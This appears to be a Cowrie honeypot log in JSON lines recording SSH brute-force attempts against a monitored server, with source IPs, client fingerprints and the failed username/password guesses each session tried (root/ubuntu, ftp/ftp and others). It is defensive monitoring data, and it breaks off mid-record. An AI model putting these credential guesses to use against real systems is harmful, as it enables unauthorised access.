{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49814,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c243d681ba8","protocol":"ssh","message":"New connection: 45.156.87.254:49814 (159.203.135.109:22) [session: 0c243d681ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:40.361596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:40.473860Z","src_ip":"45.156.87.254","session":"0c243d681ba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:40.477889Z","src_ip":"45.156.87.254","session":"0c243d681ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:40.942054Z","src_ip":"45.156.87.254","session":"0c243d681ba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.09007477760315,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:41.646919Z","src_ip":"20.123.41.163","session":"86f863d3e489","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:42.026003Z","src_ip":"45.156.87.254","session":"0c243d681ba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":42778,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c001b913c16","protocol":"ssh","message":"New connection: 186.30.115.187:42778 (10.17.0.5:22) [session: 3c001b913c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:42.123399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:42.213974Z","src_ip":"186.30.115.187","session":"3c001b913c16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:42.307554Z","src_ip":"186.30.115.187","session":"3c001b913c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser1","password":"test","message":"login attempt [testuser1/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:42.723139Z","src_ip":"186.30.115.187","session":"3c001b913c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:43.820944Z","src_ip":"186.30.115.187","session":"3c001b913c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49834,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e7377452ad8","protocol":"ssh","message":"New connection: 45.156.87.254:49834 (159.203.135.109:22) [session: 8e7377452ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:44.324617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:44.329811Z","src_ip":"45.156.87.254","session":"8e7377452ad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:44.530888Z","src_ip":"45.156.87.254","session":"8e7377452ad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:44.902086Z","src_ip":"45.156.87.254","session":"8e7377452ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:45.987674Z","src_ip":"45.156.87.254","session":"8e7377452ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49850,"dst_ip":"159.203.135.109","dst_port":22,"session":"559100a9b2fe","protocol":"ssh","message":"New connection: 45.156.87.254:49850 (159.203.135.109:22) [session: 559100a9b2fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:48.490368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:48.498990Z","src_ip":"45.156.87.254","session":"559100a9b2fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:48.580832Z","src_ip":"45.156.87.254","session":"559100a9b2fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:49.162553Z","src_ip":"45.156.87.254","session":"559100a9b2fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:50.248737Z","src_ip":"45.156.87.254","session":"559100a9b2fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39800,"dst_ip":"159.203.135.109","dst_port":22,"session":"c63ca5ee9710","protocol":"ssh","message":"New connection: 45.156.87.254:39800 (159.203.135.109:22) [session: c63ca5ee9710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:52.544410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:52.549375Z","src_ip":"45.156.87.254","session":"c63ca5ee9710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:52.634046Z","src_ip":"45.156.87.254","session":"c63ca5ee9710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:52.886507Z","src_ip":"45.156.87.254","session":"c63ca5ee9710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:53.972712Z","src_ip":"45.156.87.254","session":"c63ca5ee9710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39802,"dst_ip":"159.203.135.109","dst_port":22,"session":"1535c8348ee2","protocol":"ssh","message":"New connection: 45.156.87.254:39802 (159.203.135.109:22) [session: 1535c8348ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:56.978143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:56.983296Z","src_ip":"45.156.87.254","session":"1535c8348ee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:57.065636Z","src_ip":"45.156.87.254","session":"1535c8348ee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:57.313010Z","src_ip":"45.156.87.254","session":"1535c8348ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:58.538629Z","src_ip":"45.156.87.254","session":"1535c8348ee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51054,"dst_ip":"159.203.135.109","dst_port":22,"session":"f368d5f1481a","protocol":"ssh","message":"New connection: 45.156.87.254:51054 (159.203.135.109:22) [session: f368d5f1481a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:01.590341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:01.594657Z","src_ip":"45.156.87.254","session":"f368d5f1481a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:01.679622Z","src_ip":"45.156.87.254","session":"f368d5f1481a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:01.939078Z","src_ip":"45.156.87.254","session":"f368d5f1481a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":46562,"dst_ip":"10.17.0.5","dst_port":22,"session":"46b424d198a0","protocol":"ssh","message":"New connection: 182.253.168.47:46562 (10.17.0.5:22) [session: 46b424d198a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:01.974890Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:03.025572Z","src_ip":"45.156.87.254","session":"f368d5f1481a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:04.073330Z","src_ip":"182.253.168.47","session":"46b424d198a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:04.076818Z","src_ip":"182.253.168.47","session":"46b424d198a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy2021","message":"login attempt [deploy/deploy2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:05.243544Z","src_ip":"182.253.168.47","session":"46b424d198a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51058,"dst_ip":"159.203.135.109","dst_port":22,"session":"64ee183aabd9","protocol":"ssh","message":"New connection: 45.156.87.254:51058 (159.203.135.109:22) [session: 64ee183aabd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:05.889313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:06.018131Z","src_ip":"45.156.87.254","session":"64ee183aabd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-n